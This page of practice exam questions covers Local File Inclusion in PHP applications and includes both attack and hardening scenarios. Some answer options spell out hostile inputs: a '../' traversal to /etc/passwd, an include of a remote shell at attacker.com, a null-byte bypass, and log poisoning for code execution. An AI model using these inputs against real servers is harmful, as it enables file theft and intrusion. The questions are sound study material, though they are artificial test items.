Local File Inclusion (LFI) WAHS Practice Questions (Page 3)

Questions 11–15

1. 11application · medium

   A penetration tester is reviewing a PHP application that displays user-selected documentation. The URL is: https://example.com/view.php?doc=manual.txt. The tester suspects the application uses the doc parameter directly in an include() statement. Which test would most reliably confirm an LFI vulnerability without relying on a known file path?

   • ASubmit doc=../../../../etc/passwd and observe whether the response contains root:x:0:0.
   • BSubmit doc=http://attacker.com/shell.txt and check whether the remote file executes.
   • CSubmit doc=manual.txt and compare the response time against a nonexistent file.
   • DSubmit doc=manual.txt%00.jpg and check whether the file is still displayed.
   Reveal Solution Discussion Select an answer first
2. 12expert · hard

   A security team is hardening a PHP application that had an LFI vulnerability. The application must still include user-selected templates from a directory. The team wants to implement a defense-in-depth strategy. Which combination of controls is the most effective?

   • AUse basename() and strip ../
   • BAllowlist template names and set open_basedir to the template directory
   • CUse a regex to allow only alphanumeric characters and set open_basedir
   • DUse realpath() and disable allow_url_include
   Reveal Solution Discussion Select an answer first
4. 13expert · hard

   A tester has LFI in a PHP application and wants to escalate to remote code execution. The application runs on Apache with PHP. Which file is the most reliable to poison and include?

   • A/proc/self/environ
   • B/tmp/session.txt
   • C/var/log/apache2/access.log
   • D/etc/passwd
   Reveal Solution Discussion Select an answer first
5. 14expert · hard

   A security analyst is responding to an incident where an attacker exploited an LFI vulnerability in a PHP application. The analyst has confirmed that the attacker read /etc/passwd and /var/www/html/config.php. Which additional impact is most likely?

   • AThe attacker can read /etc/shadow because the LFI vulnerability bypasses file permissions.
   • BThe attacker can access the database using the credentials found in config.php.
   • CThe attacker can execute arbitrary code on the server by reading config.php.
   • DThe attacker can modify the application's source code by reading config.php.
   Reveal Solution Discussion Select an answer first
6. 15foundation · easy

   An attacker exploits an LFI vulnerability to read the file /etc/apache2/apache2.conf. What is the most likely sensitive information the attacker can obtain from this file?

   • AThe content of the web application's source code
   • BThe password hash of the root user
   • CDatabase credentials stored in plaintext
   • DServer root directory and virtual host configurations
   Reveal Solution Discussion Select an answer first